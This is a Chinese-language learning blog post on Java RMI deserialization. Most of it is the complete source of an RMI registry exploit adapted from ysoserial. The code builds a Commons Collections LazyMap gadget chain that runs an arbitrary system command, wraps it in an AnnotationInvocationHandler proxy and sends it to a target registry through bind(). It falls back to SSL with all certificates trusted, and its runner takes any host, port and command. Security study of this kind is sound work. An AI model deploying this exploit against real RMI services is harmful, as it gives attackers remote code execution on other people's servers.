Java--RMI反序列化 Remote Method Invocation
前面学习了cc链,它被广泛应用与提供Java反序列化接口的攻击中。
今天来学一下RMI,Remote Method Invocation
这里没有单独写注册中心,把注册中心直接就写到服务端里面了
这是我画的一个图来方便理解他的底层原理
简单地在本地实现一个RMI服务的启动
首先是写一个RMITestInterface接口
然后通过RMITestImpl类来实现它
再写一个RMIServer类来启动服务,注册服务
简单写个Client来RMI调用服务器端的函数调用
要知道RMI可是大量使用序列化反序列化机制的,那么可不可以构造一个恶意的Remote对象,序列化后传递到服务器端,服务器端反序列化它的时候触发
调用链造成rce呢?
下面这个代码是根据 LazyMap链来触发漏洞的
这里写的是getpayload来实现链子的构造返回构造好的恶意类对象
public static InvocationHandler genPayload(String command) throws Exception { // 创建Runtime.getRuntime.exec(cmd)调用链 Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{ "getRuntime", new Class[0]} ), new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null, new Object[0]} ), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{command}) }; // 创建ChainedTransformer调用链对象 Transformer transformerChain = new ChainedTransformer(transformers); // 使用LazyMap创建一个含有恶意调用链的Transformer类的Map对象 final Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain); // 获取AnnotationInvocationHandler类对象 Class clazz = Class.forName(ANN_INV_HANDLER_CLASS); // 获取AnnotationInvocationHandler类的构造方法 Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class); // 设置构造方法的访问权限 constructor.setAccessible(true); // 实例化AnnotationInvocationHandler, // 等价于: InvocationHandler annHandler = new AnnotationInvocationHandler(Override.class, lazyMap); InvocationHandler annHandler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap); // 使用动态代理创建出Map类型的Payload final Map mapProxy2 = (Map) Proxy.newProxyInstance( ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, annHandler ); // 实例化AnnotationInvocationHandler, // 等价于: InvocationHandler annHandler = new AnnotationInvocationHandler(Override.class, mapProxy2); return (InvocationHandler) constructor.newInstance(Override.class, mapProxy2); }
前面就LazyMap链子的构造,然后下面使用了动态代理:
(简单来说就是通过一个中间代理来访问某个对象的代理对象,借代理对象来拓展一些对象不具备的功能)
然后这个exploit类使用了前面方法获取到的动态代理对象
用来创建出Remote类型的 payload对象,然后去注册RMI 等,然后去bind执行我们传入的命令。 有点复杂
public static void exploit(final Registry registry, final String command) throws Exception { // 生成Payload动态代理对象 Object payload = genPayload(command); String name = "test" + System.nanoTime(); // 创建一个含有Payload的恶意map Map<String, Object> map = new HashMap(); map.put(name, payload); // 获取AnnotationInvocationHandler类对象 Class clazz = Class.forName(ANN_INV_HANDLER_CLASS); // 获取AnnotationInvocationHandler类的构造方法 Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class); // 设置构造方法的访问权限 constructor.setAccessible(true); // 实例化AnnotationInvocationHandler, // 等价于: InvocationHandler annHandler = new AnnotationInvocationHandler(Override.class, map); InvocationHandler annHandler = (InvocationHandler) constructor.newInstance(Override.class, map); // 使用动态代理创建出Remote类型的Payload Remote remote = (Remote) Proxy.newProxyInstance( ClassLoader.getSystemClassLoader(), new Class[]{Remote.class}, annHandler ); try { // 发送Payload registry.bind(name, remote); } catch (Throwable e) { e.printStackTrace(); } }
执行结果
简单来说流程是这样的:
1.使用LocateRegistry.getRegistry(host, port)创建一个RemoteStub对象。 2.构建一个适用于Apache Commons Collections的恶意反序列化对象,使用的是cc链的LazyMap链(LazyMap+AnnotationInvocationHandler组合方式)。 3.使用RemoteStub调用RMI服务端的bind指令,并传入一个使用动态代理创建出来的Remote类型的恶意AnnotationInvocationHandler对象到RMI服务端。 4.RMI服务端接受到bind请求后会反序列化我们构建的恶意Remote对象从而触发Apache Commons Collections漏洞的RCE。
个人感觉这个payload是相当复杂的,这个链子只能在jdk1.7版本触发,1.8是不行的.
其中创建了rmi的客户端,再基于动态代理来生成的cc链LazyMap,最后再传入构造好的Remote对象,触发对服务器端的攻击RCE。
package com.anbai.sec.rmi; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import javax.net.ssl.SSLContext; import javax.net.ssl.SSLSocketFactory; import javax.net.ssl.TrustManager; import javax.net.ssl.X509TrustManager; import java.io.IOException; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.net.Socket; import java.rmi.ConnectIOException; import java.rmi.Remote; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.rmi.server.RMIClientSocketFactory; import java.security.cert.X509Certificate; import java.util.HashMap; import java.util.Map; import static com.anbai.sec.rmi.RMIServerTest.RMI_HOST; import static com.anbai.sec.rmi.RMIServerTest.RMI_PORT; /** * RMI反序列化漏洞利用,修改自ysoserial的RMIRegistryExploit:https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/exploit/RMIRegistryExploit.java * * @author yz */ public class RMIExploit { // 定义AnnotationInvocationHandler类常量 public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler"; /** * 信任SSL证书 */ private static class TrustAllSSL implements X509TrustManager { private static final X509Certificate[] ANY_CA = {}; public X509Certificate[] getAcceptedIssuers() { return ANY_CA; } public void checkServerTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ } public void checkClientTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ } } /** * 创建支持SSL的RMI客户端 */ private static class RMISSLClientSocketFactory implements RMIClientSocketFactory { public Socket createSocket(String host, int port) throws IOException { try { // 获取SSLContext对象 SSLContext ctx = SSLContext.getInstance("TLS"); // 默认信任服务器端SSL ctx.init(null, new TrustManager[]{new TrustAllSSL()}, null); // 获取SSL Socket连接工厂 SSLSocketFactory factory = ctx.getSocketFactory(); // 创建SSL连接 return factory.createSocket(host, port); } catch (Exception e) { throw new IOException(e); } } } /** * 使用动态代理生成基于InvokerTransformer/LazyMap的Payload * * @param command 定义需要执行的CMD * @return Payload * @throws Exception 生成Payload异常 */ public static InvocationHandler genPayload(String command) throws Exception { // 创建Runtime.getRuntime.exec(cmd)调用链 Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{ "getRuntime", new Class[0]} ), new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null, new Object[0]} ), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{command}) }; // 创建ChainedTransformer调用链对象 Transformer transformerChain = new ChainedTransformer(transformers); // 使用LazyMap创建一个含有恶意调用链的Transformer类的Map对象 final Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain); // 获取AnnotationInvocationHandler类对象 Class clazz = Class.forName(ANN_INV_HANDLER_CLASS); // 获取AnnotationInvocationHandler类的构造方法 Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class); // 设置构造方法的访问权限 constructor.setAccessible(true); // 实例化AnnotationInvocationHandler, // 等价于: InvocationHandler annHandler = new AnnotationInvocationHandler(Override.class, lazyMap); InvocationHandler annHandler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap); // 使用动态代理创建出Map类型的Payload final Map mapProxy2 = (Map) Proxy.newProxyInstance( ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, annHandler ); // 实例化AnnotationInvocationHandler, // 等价于: InvocationHandler annHandler = new AnnotationInvocationHandler(Override.class, mapProxy2); return (InvocationHandler) constructor.newInstance(Override.class, mapProxy2); } /** * 执行Payload * * @param registry RMI Registry * @param command 需要执行的命令 * @throws Exception Payload执行异常 */ public static void exploit(final Registry registry, final String command) throws Exception { // 生成Payload动态代理对象 Object payload = genPayload(command); String name = "test" + System.nanoTime(); // 创建一个含有Payload的恶意map Map<String, Object> map = new HashMap(); map.put(name, payload); // 获取AnnotationInvocationHandler类对象 Class clazz = Class.forName(ANN_INV_HANDLER_CLASS); // 获取AnnotationInvocationHandler类的构造方法 Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class); // 设置构造方法的访问权限 constructor.setAccessible(true); // 实例化AnnotationInvocationHandler, // 等价于: InvocationHandler annHandler = new AnnotationInvocationHandler(Override.class, map); InvocationHandler annHandler = (InvocationHandler) constructor.newInstance(Override.class, map); // 使用动态代理创建出Remote类型的Payload Remote remote = (Remote) Proxy.newProxyInstance( ClassLoader.getSystemClassLoader(), new Class[]{Remote.class}, annHandler ); try { // 发送Payload registry.bind(name, remote); } catch (Throwable e) { e.printStackTrace(); } } public static void main(String[] args) throws Exception { if (args.length == 0) { // 如果不指定连接参数默认连接本地RMI服务 args = new String[]{RMI_HOST, String.valueOf(RMI_PORT), "calc"}; } // 远程RMI服务IP final String host = args[0]; // 远程RMI服务端口 final int port = Integer.parseInt(args[1]); // 需要执行的系统命令 final String command = args[2]; // 获取远程Registry对象的引用 Registry registry = LocateRegistry.getRegistry(host, port); try { // 获取RMI服务注册列表(主要是为了测试RMI连接是否正常) String[] regs = registry.list(); for (String reg : regs) { System.out.println("RMI:" + reg); } } catch (ConnectIOException ex) { // 如果连接异常尝试使用SSL建立SSL连接,忽略证书信任错误,默认信任SSL证书 registry = LocateRegistry.getRegistry(host, port, new RMISSLClientSocketFactory()); } // 执行payload exploit(registry, command); } }
谈谈个人理解,为什么要采用动态代理,和cc1链一样LazyMap链需要用到AnnotationInvocationHandler,通过去代理
包含AnnotationInvocationHandler对象到rmi的Remote对象上,这样才算是把链子给构建到了Remote上,然后再获取远程
Registry注册对象 ,然后去bind发送Remote对象,最终在Server端反序列化触发链子RCE。
深入学习可参考:
https://paper.seebug.org/1194/#_2